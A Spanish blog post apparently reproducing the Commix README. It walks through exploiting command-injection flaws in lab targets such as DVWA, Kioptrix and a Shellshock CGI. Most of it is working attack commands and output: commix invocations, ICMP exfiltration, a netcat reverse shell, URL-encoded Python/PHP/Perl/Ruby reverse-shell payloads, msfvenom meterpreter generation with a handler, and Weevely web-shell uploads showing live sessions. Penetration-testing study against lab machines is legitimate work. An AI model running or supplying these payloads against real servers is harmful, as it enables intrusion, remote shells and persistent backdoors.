Commix-TEU: Exploiting vulnerabilities

Commix ([comm]and [i]njection e[x]ploiter) es una herramienta de Anastasios Stasinopoulos:

(Pincha en la imagen de Stasinopoulos para ir a su perfil de “Twitter“)

Captura: An. Stasinopoulos (foto vía twitter).
Captura: An. Stasinopoulos (foto vía twitter).

Esta herramienta te permitirá encontrar y explotar de forma muy fácil y rápida – vulnerabilidades de inyección de comandos – en ciertos parámetros y cadenas vulnerables de un servidor web.

Captura: Commix con Kali linux.
Captura: Commix con Kali linux.

Está escrito en Python (2.6.x o 2.7.x) y está incluida en los repositorios oficiales de:

(Pincha en la imagen para ir a la web)

Commix - BLOG - 4

Commix - BLOG - 5

Pre-instalada en:

Commix - BLOG - 6

Commix - BLOG - 7

O puedes clonar directamente el repositorio Git:

-) git clone https://github.com/stasinopoulos/commix.git commix

Para obtener una lista de todas las opciones disponibles:

-) python commix.py -h


Captura: Logotipo "Python".
Captura: Logotipo “Python”.

Ejemplos de uso

Captura: Damn Vulnerable Web Application (DVWA).
Captura: Damn Vulnerable Web Application (DVWA).

Explotando Damn Vulnerable Web App:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#” –data=”ip=INJECT_HERE&submit=submit” –cookie=”security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4″

Captura: php-Charts 1.0 - Code Execution Vulnerability.
Captura: php-Charts 1.0 – Code Execution Vulnerability.

Explotando php-Charts 1.0 usando payloads inyectados en cadenas en sufijos y prefijos:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE” –prefix=”‘” –suffix=”//”

Captura: OWASP Mutillidae.
Captura: OWASP Mutillidae.

Explotando OWASP Mutillidae usando cabeceras extras y un proxy HTTP:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php” –data=”target_host=INJECT_HERE” –headers=”Accept-Language:fr\nETag:123\n” –proxy=”127.0.0.1:8081″

Captura: Persistence.
Captura: Persistence.

Explotando Persistence usando la técnica de exfiltración ICMP:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.8/debug.php” –data=”addr=INJECT_HERE” –icmp-exfil=”ip_src=192.168.178.5,ip_dst=192.168.178.8″

Captura:  Kioptrix (Level 1.1).
Captura: Kioptrix (Level 1.1).

Explotando Kioptrix: Level 1.1 (#2):

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.2/pingit.php” –data=”ip=INJECT_HERE&submit=submit” –auth-url=”http://192.168.178.2/index.php” –auth-data=”uname=admin&psw=%27+OR+1%3D1–+-&btnLogin=Login”

Captura: Kioptrix: 2014.
Captura: Kioptrix: 2014.

Explotando Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make” –user-agent=”Mozilla/4.0 Mozilla4_browser” –technique=”file-based” –root-dir=”/”

Captura: CVE-2014-6271/Shellshock.
Captura: CVE-2014-6271/Shellshock.

Explotando CVE-2014-6271/Shellshock:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.4/cgi-bin/status/” –shellshock

Captura:  commix-testbed (cookie).
Captura: commix-testbed (cookie).

Explotando commix-testbed (cookie) usando inyección basada en cookies:

-) root@kali:~/commix# python commix.py –url=”http://192.168.2.8/commix-testbed/cookie/cookie(blind).php” –cookie=”addr=INJECT_HERE”


Captura: Logotipo "Kali linux".
Captura: Logotipo “Kali linux”.

Y otros ejemplos un poco más elaborados:

1-) Shell inverso con Netcat (nc)

Captura: Netcat (nc) con Kali linux.
Captura: Netcat (nc) con Kali linux.

1-) Prepara el shell con Netcat.

Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.

-) root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 …

2-) Ejecuta netcat via commix.

En un pestaña/shell diferente, ejecuta:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE” –os-cmd=”nc -e /bin/sh 192.168.178.3 1234″

3-) Disfruta del shell inverso netcat:

-) root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 …
connect to [192.168.178.3] from debian [192.168.178.4] 36746
whoami
www-data

2-) Shell inverso con Netcat-sin-netcat

Captura: "Reverse Shell Cheat Sheet".
Captura: “Reverse Shell Cheat Sheet”.

En los siguiente ejemplos (inspirados en el post de PentestmonkeyReverse Shell Cheat Sheet“) prepararemos un shell inverso de netcat, ¡sin usar netcat!

1-) prepara el shell con Netcat.

Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.

-) root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 …

2-) Elige uno de los siguientes payloads de shell inversos netcat-sin-netcat a través de Commix (por ej. mediante la opción “–os-cmd“):

– (1) – Python-reverse-shell:

-) %60python+-c+’import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B’%60

– (2) – PHP-reverse-shell:

-) %60php+-r+’%24sock%3Dfsockopen(%22192.168.178.3%22%2C1234)%3B+exec(%22%2Fbin%2Fsh+-i+<%263+>%263+2>%263%22)%3B’%60

– (3) – Perl-reverse-shell:

-) %60perl+-e+’use+Socket%3B%24i%3D%22192.168.178.3%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C%22>%26S%22)%3Bopen(STDOUT%2C%22>%26S%22)%3Bopen(STDERR%2C%22>%26S%22)%3Bexec(%22%2Fbin%2Fsh+-i%22)%3B}%3B’%60

– (4) – Ruby-reverse-shell:

-) %60ruby+-rsocket+-e’f%3DTCPSocket.open(%22192.168.178.3%22%2C1234).to_i%3Bexec+sprintf(%22%2Fbin%2Fsh+-i+<%26%25d+>%26%25d+2>%26%25d%22%2Cf%2Cf%2Cf)’%60

Vamos a suponer que queremos un shell inverso en la “192.168.178.3” y puerto “1234” con Python-reverse-shell. Simplemente en un pestaña/shell diferente, ejecuta:

-) root@kali:~/Desktop/commix# python commix.py –url=”http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE&#8221; –os-cmd=”%60python+-c+’import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B’%60″

3-) Disfruta del shell inverso netcat-sin-netcat:

-) root@kali:~# nc -lvp 1234
listening on [any] 1234 …
connect to [192.168.178.3] from debian [192.168.178.4] 43712
/bin/sh: 0: can’t access tty; job control turned off
$ whoami
www-data

1-) Subir web-shells con Commix

Commix - BLOG - 19

Además Commix permite subir un web-shell (por ejemplo PHP meterpreter) fácilmente en el objetivo:

1-) Sube un shell PHP de meterpreter (metasploit) al objetivo:

– (1) – Crea el shell PHP meterpreter (mediante msfvenom):

-) msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php

Nota: No olvides añadir “” en el fichero msfvenom.php.

2-) Arranca el handler (via msfconsole):

-) msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler…

3-) Usa commix para crearmsfvenom.php” en el directorio “/var/www/” del objetivo y ejecútalo:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE&#8221; –file-write=”/root/Desktop/msfvenom.php” –file-dest=”/var/www/msfvenom.php” –os-cmd=”php -f /var/www/msfvenom.php”

4-) Disfruta de tu shell!:

-) [*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400

meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >

2-) Sube un web-shell PHP Weevely PHP al objetivo

Commix - BLOG - 20

1-) Crea el web shell PHP:

-) weevely generate commix
[generate.php] Backdoor file ‘weevely.php’ created with password ‘commix’

2-) Usa commix para crearweevely.php” en el directorio “var/www/html/cmd/” del objetivo:

-) root@kali:~/commix# python commix.py –url=”http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE&#8221; –file-write=”/root/Desktop/weevely.php” –file-dest=”/var/www/html/cmd/”

3-) Disfruta de tu shell!:

-) weevely http://192.168.178.4/cmd/weevely.php commix
      ________                     __
     |  |  |  |—-.—-.-.–.—-‘  |–.–.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ‘:help’
[+] Current session: ‘sessions/192.168.178.4/weevely.session’

www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root     root     4096 May 18 02:02 .
drwxrwxrwx 8 root     root     4096 May 14 01:49 ..
-rw-rw-rw- 1 root     root      353 May  8 03:28 normal.php
-rw-r–r– 1 www-data www-data  606 May 18 02:02 weevely.php


Commix - BLOG - 21

-) Damn Vulnerable Web App

-) OWASP: Mutillidae

-) bWAPP: bee-box (v1.6)

-) Persistence

-) Pentester Lab: Web For Pentester

-) Pentester Lab: CVE-2014-6271/Shellshock

-) Pentester Academy: Command Injection ISO: 1

-) SpiderLabs: MCIR (ShelLOL)

-) Kioptrix: Level 1.1 (#2)

-) Kioptrix: 2014 (#5)

-) w3af-moth

-) commix-testbed

Commix - BLOG - 22

Exploiting DVWA (1.0.8) command injection flaws

Exploiting bWAPP command injection flaws (normal & blind)

Exploiting ‘Persistence’ blind command injection flaw

Exploiting shellshock command injection flaws

Upload a PHP shell (i.e. Metasploit PHP Meterpreter) on target host

Upload a Weevely PHP web shell on target host


Commix - BLOG - 23

¿Quieres aumentar las capacidades de la herramienta commix y/o adaptarlo a tus necesidades? Puedes desarrollar fácilmente e importar tus propios módulos:

(Para más información pincha en la imagen)

Commix - BLOG - 24

From: https://github.com/stasinopoulos/commix


TonyHAT - 104

Anuncios

Un comentario en “Commix-TEU: Exploiting vulnerabilities”

Responder

Por favor, inicia sesión con uno de estos métodos para publicar tu comentario:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s